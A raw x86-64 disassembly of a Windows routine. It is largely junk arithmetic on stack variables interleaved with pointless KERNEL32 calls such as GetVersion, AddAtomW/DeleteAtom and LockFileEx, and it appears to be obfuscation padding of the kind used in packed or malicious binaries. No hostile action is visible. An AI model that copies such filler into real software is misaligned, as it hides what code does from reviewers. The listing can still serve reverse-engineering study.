lea rax, [rsp + 0xadc4]
mov qword [rsp + 0x15830], rax
mov eax, dword [rsp + 0xabe4]
mov ecx, dword [rsp + 0xaea0]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa8d4], eax
lea rax, [rsp + 0xad60]
mov qword [rsp + 0x15838], rax
movzx eax, word [rsp + 0x2a7c]
movzx ecx, word [rsp + 0x2b6c]
add eax, ecx
mov rcx, qword [rsp + 0x142a8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x69f]
movzx ecx, byte [rsp + 0x2c8]
xor eax, ecx
mov rcx, qword [0x140363e78]
mov byte [rcx], al
mov rax, qword [rsp + 0x148d8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x14608]
mov qword [rsp + 0x15840], rcx
movzx ecx, al
mov rax, qword [rsp + 0x15840]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x14008]
mov dword [rcx], eax
mov rax, qword [0x140363e20]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x9218]
shl eax, cl
mov dword [rsp + 0x9ee4], eax
mov eax, dword [rsp + 0x6554]
mov ecx, dword [rsp + 0xa8d8]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13748]
mov dword [rcx], eax
lea rax, [rsp + 0x9474]
mov qword [rsp + 0x15848], rax
mov rax, qword [0x140363a40]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13500]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x14778]
mov word [rcx], ax
lea rax, [rsp + 0x705]
mov qword [rsp + 0x15850], rax
mov rax, qword [rsp + 0x14af0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x634]
sub eax, ecx
mov byte [rsp + 0x67], al
mov rax, qword [0x1403639e8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x13108]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2ad8], ax
mov rax, qword [rsp + 0x146d8]
mov eax, dword [rax]
mov dword [0x140363f40], eax
lea rax, [rsp + 0xadb0]
mov qword [rsp + 0x15858], rax
movzx ecx, word [rsp + 0x2c40]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2cd0], ax
lea rdx, [rsp + 0x45f50]
mov rcx, qword [rsp + 0x13700]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xa9f4], eax
mov rax, qword [rsp + 0x14048]
movzx eax, byte [rax]
movzx ecx, byte [0x140353583]
add eax, ecx
mov rcx, qword [rsp + 0x15690]
mov byte [rcx], al
lea rax, [rsp + 0x22c8]
mov qword [rsp + 0x15860], rax
mov rax, qword [rsp + 0x132d0]
mov rcx, qword [rsp + 0x15030]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x145d0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13450]
mov rcx, qword [0x140363e40]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x898c], eax
lea rax, [rsp + 0xaf4c]
mov qword [rsp + 0x15868], rax
mov rax, qword [rsp + 0x15858]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xacf8]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xad00], eax
mov rax, qword [rsp + 0x13e98]
movzx eax, word [rax]
mov word [rsp + 0x2d0c], ax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0xf72
mov r9d, 0x3981
mov r8d, 0x5ceb11ee
mov edx, 1
mov rcx, qword [rsp + 0x15768]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0xad80], eax
lea rax, [rsp + 0x6c3]
mov qword [0x140363f48], rax
mov rax, qword [rsp + 0x134c0]
mov rcx, qword [rsp + 0x13e30]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x150d8]
mov dword [rcx], eax
mov rax, qword [0x140363e38]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa974]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9370], eax
lea rax, [rsp + 0xa9b0]
mov qword [rsp + 0x15870], rax
mov rax, qword [rsp + 0x12f50]
mov rcx, qword [rsp + 0x14628]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x14320]
mov dword [rcx], eax
mov rax, qword [rsp + 0x138b8]
mov eax, dword [rax]
mov dword [rsp + 0xaf70], eax
mov rax, qword [rsp + 0x143d0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1f1c]
xor eax, ecx
mov rcx, qword [rsp + 0x13348]
mov word [rcx], ax
mov rax, qword [rsp + 0x13a00]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x15458]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x4ff], al
lea rax, [rsp + 0x65d]
mov qword [rsp + 0x15878], rax
mov rax, qword [0x140363c80]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2690]
sar eax, cl
mov rcx, qword [0x140363c20]
mov word [rcx], ax
mov rax, qword [rsp + 0x15500]
mov ecx, dword [rsp + 0xada0]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xa8b0], eax
lea rax, [rsp + 0xab6c]
mov qword [rsp + 0x15880], rax
lea rcx, [rsp + 0x41e08]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x20
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 2
mov edx, 0xc0000000
lea rcx, str.IaEfhdSTWT72i5u1Bs
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x15888], rax
movzx eax, byte [rsp + 0x328]
movzx ecx, byte [rsp + 0x676]
and eax, ecx
mov byte [rsp + 0x65c], al
mov rax, qword [rsp + 0x13420]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2c54]
and eax, ecx
mov word [rsp + 0x25e0], ax
mov rax, qword [0x140363b58]
mov ecx, dword [rsp + 0xab04]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6f4c], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xacc0], eax
mov eax, dword [rsp + 0xabd8]
mov ecx, dword [rsp + 0xa9dc]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14068]
mov dword [rcx], eax
lea rax, [rsp + 0x7758]
mov qword [rsp + 0x15890], rax
mov eax, dword [rsp + 0x852c]
mov ecx, dword [0x140363c94]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14680]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14648]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x11c4]
sub eax, ecx
mov word [0x14035cbe0], ax
mov rax, qword [rsp + 0x15080]
movzx eax, byte [rax]
mov byte [rsp + 0x730], al
mov rax, qword [rsp + 0x13808]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xae5c]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14720]
mov dword [rcx], eax
mov eax, dword [rsp + 0xa980]
mov ecx, dword [rsp + 0xadc8]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x145e0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x139d8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x14390]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xfe4], ax
mov rax, qword [rsp + 0x132e8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x40c]
xor eax, ecx
mov rcx, qword [rsp + 0x14340]
mov byte [rcx], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommMask]
mov rax, qword [rsp + 0x144f8]
movzx eax, word [rax]
mov word [rsp + 0x2d10], ax
movzx eax, byte [0x1403535a2]
mov rcx, qword [rsp + 0x154a8]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x155c0]
mov byte [rcx], al
mov rax, qword [rsp + 0x14860]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xae08]
shr eax, cl
mov rcx, qword [rsp + 0x14720]
mov dword [rcx], eax
mov eax, dword [rsp + 0xa7d4]
mov ecx, dword [rsp + 0xac40]
and ecx, eax
mov eax, ecx
mov dword [0x14035cc84], eax
lea rax, [rsp + 0x9218]
mov qword [rsp + 0x15898], rax
mov rax, qword [rsp + 0x143f0]
mov ecx, dword [rsp + 0x6e64]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x14cf8]
mov dword [rcx], eax
lea rax, [rsp + 0xa8c0]
mov qword [rsp + 0x158a0], rax
mov rax, qword [0x140363df8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13af0]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x2be0], ax
movzx eax, byte [rsp + 0x416]
mov rcx, qword [rsp + 0x13440]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x14ad8]
mov byte [rcx], al
mov rax, qword [rsp + 0x149f0]
mov eax, dword [rax]
mov dword [rsp + 0xaf74], eax
mov rax, qword [rsp + 0x14a10]
mov ecx, dword [rsp + 0x7b5c]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xaac8], eax
lea rax, [rsp + 0x73fc]
mov qword [rsp + 0x158a8], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa870], eax
mov rax, qword [rsp + 0x13c20]
mov eax, dword [rax]
mov dword [0x140363f44], eax
movzx eax, byte [rsp + 0x24b]
movzx ecx, byte [rsp + 0x6b9]
add eax, ecx
mov byte [rsp + 0x41e], al
lea rax, [rsp + 0x25a4]
mov qword [rsp + 0x158b0], rax
lea rcx, [0x140330fb0]
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2c28], ax
mov rax, qword [rsp + 0x15590]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x13e80]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x29d8], ax
movsx eax, byte [0x14035e4a5]
movsx ecx, byte [rsp + 0x707]
add eax, ecx
mov byte [rsp + 0x6e1], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rax, [rsp + 0xaf0c]
mov qword [rsp + 0x158b8], rax
movzx ecx, word [rsp + 0x2cb4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2b10], ax
mov rax, qword [rsp + 0x13688]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xabc4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xad00], eax
mov rcx, qword [rsp + 0x14f70]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
movzx eax, byte [rsp + 0x309]
movzx ecx, byte [rsp + 0x6ce]
sub eax, ecx
mov byte [rsp + 0x63f], al
movzx eax, word [rsp + 0x2aa4]
movzx ecx, word [rsp + 0x2b2c]
or eax, ecx
mov rcx, qword [rsp + 0x13de0]
mov word [rcx], ax
mov eax, dword [rsp + 0xac48]
mov rcx, qword [rsp + 0x156d8]
mov qword [rsp + 0x158c0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x158c0]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [0x140363a68]
mov dword [rcx], eax
mov rax, qword [rsp + 0x15858]
mov rcx, qword [rsp + 0x150d0]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xa7d8], eax
lea rax, [rsp + 0xadec]
mov qword [rsp + 0x158c8], rax
mov eax, dword [rsp + 0xae70]
mov rcx, qword [0x140363d48]
mov qword [rsp + 0x158d0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x158d0]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x13e30]
mov dword [rcx], eax
lea rax, [rsp + 0x70a]
mov qword [rsp + 0x158d8], rax
movzx eax, word [rsp + 0x1a2c]
movzx ecx, word [rsp + 0x2b64]
and eax, ecx
mov rcx, qword [rsp + 0x13f78]
mov word [rcx], ax
mov eax, dword [rsp + 0x8840]
mov ecx, dword [rsp + 0x9d18]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13970]
mov dword [rcx], eax
lea rax, [rsp + 0xaf74]
mov qword [rsp + 0x158e0], rax
mov eax, dword [rsp + 0x7438]
mov ecx, dword [rsp + 0xa9c8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xaeac], eax
mov rax, qword [rsp + 0x13ae0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa9b0]
or ecx, eax
mov eax, ecx
mov rcx, qword [0x140363f28]
mov dword [rcx], eax
lea rax, [rsp + 0x9c30]
mov qword [rsp + 0x158e8], rax
mov rax, qword [rsp + 0x14bc0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x6e6]
sub eax, ecx
mov rcx, qword [rsp + 0x13560]
mov byte [rcx], al
movzx eax, word [rsp + 0x2990]
mov word [rsp + 0x2d14], ax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xad78], eax
movzx eax, byte [rsp + 0x6b9]
movzx ecx, byte [rsp + 0x6cb]
and eax, ecx
mov rcx, qword [rsp + 0x15048]
mov byte [rcx], al
mov rax, qword [rsp + 0x14240]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14e00]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x15828]
mov word [rcx], ax
lea rcx, str.fxfhsP
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2d18], ax
movzx ecx, word [rsp + 0x2cb4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2cd0], ax
mov eax, dword [rsp + 0x6534]
mov ecx, dword [rsp + 0xab6c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6adc], eax
mov rax, qword [rsp + 0x14050]
mov rcx, qword [rsp + 0x13660]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x13bd0]
mov dword [rcx], eax
lea rax, [0x140362d5c]
mov qword [rsp + 0x158f0], rax
mov rax, qword [rsp + 0x15128]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14588]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1403535af], al
mov rax, qword [rsp + 0x13af8]
mov ecx, dword [rsp + 0x9f1c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xace8], eax
mov rax, qword [0x1403639d0]
mov ecx, dword [rsp + 0xae04]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x13b08]
mov dword [rcx], eax
mov rcx, qword [rsp + 0x12f28]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea rax, [rsp + 0xa974]
mov qword [rsp + 0x158f8], rax
mov eax, dword [rsp + 0xaca4]
mov rcx, qword [rsp + 0x13640]
mov qword [rsp + 0x15900], rcx
movzx ecx, al
mov rax, qword [rsp + 0x15900]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0xa87c], eax
lea rax, [0x14035cbfc]
mov qword [rsp + 0x15908], rax
movzx eax, byte [rsp + 0x72c]
movzx ecx, byte [rsp + 0x6f4]
xor eax, ecx
mov rcx, qword [rsp + 0x13430]
mov byte [rcx], al
mov rax, qword [rsp + 0x14410]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x14c60]
mov qword [rsp + 0x15910], rcx
movzx ecx, al
mov rax, qword [rsp + 0x15910]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x14e10]
mov dword [rcx], eax
lea rdx, [rsp + 0x143c0]
mov rcx, qword [rsp + 0x151c0]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0xaf78], eax
mov rax, qword [rsp + 0x14898]
mov eax, dword [rax]
mov dword [rsp + 0xaf7c], eax
lea rax, [rsp + 0x1f6]
mov qword [0x140363f50], rax
mov rax, qword [rsp + 0x131b8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x15360]
movsx ecx, word [rcx]
imul eax, ecx
mov rcx, qword [rsp + 0x155b0]
mov word [rcx], ax
mov rax, qword [rsp + 0x153f0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x11c0]
or eax, ecx
mov word [rsp + 0x292c], ax
mov rax, qword [rsp + 0x13cb8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x15100]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x70b], al
mov eax, dword [rsp + 0xadbc]
mov ecx, dword [rsp + 0xaa44]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14b80]
mov dword [rcx], eax
lea rax, [rsp + 0xa9c8]
mov qword [rsp + 0x15918], rax
mov rax, qword [rsp + 0x13aa8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9a80]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13730]
mov dword [rcx], eax
mov eax, dword [rsp + 0xa184]
mov dword [rsp + 0xaf80], eax
mov rax, qword [rsp + 0x137e8]
mov eax, dword [rax]
mov ecx, dword [0x14035cc24]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x144f0]
mov dword [rcx], eax
lea rax, [rsp + 0x2bdc]
mov qword [rsp + 0x15920], rax
mov rax, qword [rsp + 0x145a8]
movzx eax, byte [rax]
movzx ecx, byte [0x14035e507]
add eax, ecx
mov rcx, qword [0x140363a10]
mov byte [rcx], al
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xac30], eax
mov rax, qword [rsp + 0x13a28]
mov rcx, qword [rsp + 0x15880]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x14a10]
mov dword [rcx], eax
mov eax, dword [rsp + 0x710c]
mov ecx, dword [rsp + 0xa8fc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9048], eax
movzx ecx, word [rsp + 0x29e8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2d1c], ax
lea rdx, [rsp + 0x13268]
mov rcx, qword [rsp + 0x13018]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0xaa2c], eax
lea rax, [0x14035cbdc]
mov qword [rsp + 0x15928], rax
mov r9d, 1
lea r8, [rsp + 0x13e28]
mov rdx, qword [rsp + 0x13268]
mov rcx, qword [rsp + 0x14cc8]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xaf84], eax
mov eax, dword [rsp + 0xaf08]
mov ecx, dword [rsp + 0x8664]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xab64], eax
lea rax, [rsp + 0x724]
mov qword [rsp + 0x15930], rax
mov rax, qword [rsp + 0x14fb8]
movzx eax, word [rax]
mov rcx, qword [0x140363cb8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x206c], ax
mov rax, qword [rsp + 0x14140]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x13d60]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x13378]
mov word [rcx], ax
movzx ecx, word [rsp + 0x2acc]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2cc0], ax
lea rax, [rsp + 0x72f]
mov qword [rsp + 0x15938], rax
lea rdx, [rsp + 0x13e28]
mov rcx, qword [rsp + 0x136c0]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0xaf88], eax
mov rax, qword [0x140363e58]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x13900]
mov qword [rsp + 0x15940], rcx
movzx ecx, al
mov rax, qword [rsp + 0x15940]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [0x140363cd8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13fd8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x13818]
mov qword [rsp + 0x15948], rcx
movzx ecx, al
mov rax, qword [rsp + 0x15948]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xac78], eax
movzx eax, byte [rsp + 0x41e]
mov byte [rsp + 0x731], al
mov rax, qword [0x140363aa0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x16a4]
or eax, ecx
mov word [rsp + 0x2c48], ax
mov eax, dword [rsp + 0x7c34]
mov ecx, dword [rsp + 0xade8]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13b70]
mov dword [rcx], eax
mov eax, dword [rsp + 0x7364]
mov ecx, dword [rsp + 0xa960]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6d20], eax
mov eax, dword [rsp + 0xae04]
mov ecx, dword [rsp + 0xab58]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xaa6c], eax
lea rax, [rsp + 0xa928]
mov qword [rsp + 0x15950], rax
mov rax, qword [rsp + 0x15518]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x133f0]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x15640]
mov byte [rcx], al
lea rdx, [rsp + 0x45e00]
mov rcx, qword [rsp + 0x14118]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xaf1c], eax
lea rcx, [rsp + 0x41ef8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
lea rax, [rsp + 0x2c18]
mov qword [0x140363f58], rax
lea rax, [rsp + 0xac48]
mov qword [rsp + 0x15958], rax
mov eax, dword [rsp + 0x6cd0]
mov ecx, dword [rsp + 0x86a8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x75a0], eax
mov rax, qword [rsp + 0x15058]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xade0]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14be0]
mov dword [rcx], eax
lea rax, [rsp + 0xab90]
mov qword [rsp + 0x15960], rax
mov rax, qword [rsp + 0x15410]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xae44]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa984], eax
mov rax, qword [0x1403639e8]
movzx eax, word [rax]
mov word [rsp + 0x2d20], ax
movsx eax, byte [rsp + 0x6cc]
movsx ecx, byte [rsp + 0x71f]
sub eax, ecx
mov rcx, qword [rsp + 0x13390]
mov byte [rcx], al
mov rax, qword [rsp + 0x15100]
movzx eax, byte [rax]
movzx ecx, byte [0x1403535a2]
and eax, ecx
mov byte [rsp + 0x43d], al
movzx eax, word [rsp + 0x16dc]
movzx ecx, word [rsp + 0x299c]
add eax, ecx
mov rcx, qword [0x140363da8]
mov word [rcx], ax
lea rax, [rsp + 0xaf14]
mov qword [rsp + 0x15968], rax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x2403
mov r9d, 0x3bc5
mov r8d, 0x679b1ce7
mov edx, 2
mov rcx, qword [rsp + 0x13ab0]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0xaa2c], eax
mov eax, dword [rsp + 0xaac8]
movzx ecx, al
mov eax, dword [rsp + 0x62c0]
shl eax, cl
mov dword [rsp + 0xaedc], eax
movzx eax, word [rsp + 0x1de8]
mov rcx, qword [rsp + 0x132c8]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x24ec], ax
movzx eax, byte [rsp + 0xac]
mov rcx, qword [rsp + 0x14230]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x701], al
mov rax, qword [rsp + 0x12f20]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xaf38]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13e38]
mov dword [rcx], eax
mov rax, qword [rsp + 0x157d8]
mov eax, dword [rax]
mov dword [rsp + 0xaf8c], eax
mov rax, qword [rsp + 0x15950]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x63a0]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14b68]
mov dword [rcx], eax
lea rax, [0x14035cc18]
mov qword [rsp + 0x15970], rax
mov rax, qword [rsp + 0x13a18]
movzx eax, byte [rax]
mov byte [0x14035e546], al
movzx eax, word [rsp + 0x2b6c]
movzx ecx, word [rsp + 0x2b78]
add eax, ecx
mov rcx, qword [rsp + 0x13ed0]
mov word [rcx], ax
mov rax, qword [0x140363968]
mov rcx, qword [rsp + 0x15880]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6e64], eax
mov rcx, qword [rsp + 0x13580]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0x13ad0]
mov eax, dword [rax]
mov dword [rsp + 0xaf90], eax
movsx eax, byte [rsp + 0x6fb]
movsx ecx, byte [rsp + 0x468]
sub eax, ecx
mov rcx, qword [rsp + 0x136a0]
mov byte [rcx], al
xor r9d, r9d
lea r8, [rsp + 0x13e28]
mov rdx, qword [rsp + 0x13268]
mov rcx, qword [rsp + 0x12ef0]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xaf94], eax
movsx eax, word [0x140362d84]
mov rcx, qword [rsp + 0x14390]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1c3c], ax
movzx eax, word [rsp + 0x2c8c]
mov rcx, qword [rsp + 0x13ed0]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x15540]
mov word [rcx], ax
lea rax, [rsp + 0x6b8]
mov qword [rsp + 0x15978], rax
mov eax, dword [rsp + 0xa278]
mov ecx, dword [rsp + 0xa948]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xaddc], eax
lea rax, [rsp + 0xa894]
mov qword [0x140363f60], rax
mov rax, qword [rsp + 0x14f80]
mov ecx, dword [rsp + 0x91c0]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xad94], eax
lea rax, [rsp + 0xaddc]
mov qword [rsp + 0x15980], rax
mov rax, qword [rsp + 0x14ad0]
mov ecx, dword [rsp + 0xadfc]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x14c00]
mov dword [rcx], eax
movzx eax, word [rsp + 0x2b24]
mov word [rsp + 0x2d24], ax
movzx eax, byte [0x14035e4f4]
movzx ecx, byte [rsp + 0x6c3]
add eax, ecx
mov rcx, qword [rsp + 0x146e8]
mov byte [rcx], al
mov rax, qword [rsp + 0x14b50]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xab74]
sar eax, cl
mov rcx, qword [rsp + 0x149c8]
mov dword [rcx], eax
mov rax, qword [0x140363f18]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7564]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x643c], eax
mov rax, qword [rsp + 0x138a8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xabc0]
shl eax, cl
mov dword [rsp + 0x7410], eax
mov rax, qword [rsp + 0x157c8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8670]
or ecx, eax
mov eax, ecx
mov rcx, qword [0x140363a00]
mov dword [rcx], eax
lea rax, [0x14035cc64]
mov qword [rsp + 0x15988], rax
movzx eax, byte [rsp + 0x6e0]
mov rcx, qword [rsp + 0x14180]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x416], al
mov rax, qword [rsp + 0x13390]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x71a]
and eax, ecx
mov rcx, qword [rsp + 0x14f00]
mov byte [rcx], al
lea rax, [0x14035cc20]
mov qword [rsp + 0x15990], rax
mov rax, qword [rsp + 0x13bb8]
mov rcx, qword [rsp + 0x13330]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa8b0], eax
mov eax, dword [rsp + 0x6f4c]
mov dword [rsp + 0xaf98], eax
movzx eax, word [0x14035cc34]
mov rcx, qword [rsp + 0x13af0]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x14d48]
mov word [rcx], ax
mov r9d, 0xc8c
xor r8d, r8d
lea rdx, [rsp + 0x14f70]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0xac64], eax
mov rax, qword [rsp + 0x13e50]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x153b8]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x155c0]
mov byte [rcx], al
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xaf9c], eax
mov rax, qword [rsp + 0x13668]
mov eax, dword [rax]
mov dword [0x140363f68], eax
lea rax, [rsp + 0x6cd0]
mov qword [rsp + 0x15998], rax
mov eax, dword [rsp + 0x80ac]
mov ecx, dword [rsp + 0xaed4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xae34], eax
mov rax, qword [rsp + 0x14168]
mov eax, dword [rax]
mov dword [rsp + 0xafa0], eax
lea rdx, [rsp + 0x45bd0]
mov rcx, qword [rsp + 0x13700]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xad84], eax
movzx eax, word [rsp + 0x2c80]
mov rcx, qword [rsp + 0x151e8]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2aa8], ax
movzx eax, byte [rsp + 0x705]
movzx ecx, byte [rsp + 0x730]
or eax, ecx
mov byte [rsp + 0x43c], al
mov rax, qword [rsp + 0x144d8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xad9c]
add ecx, eax
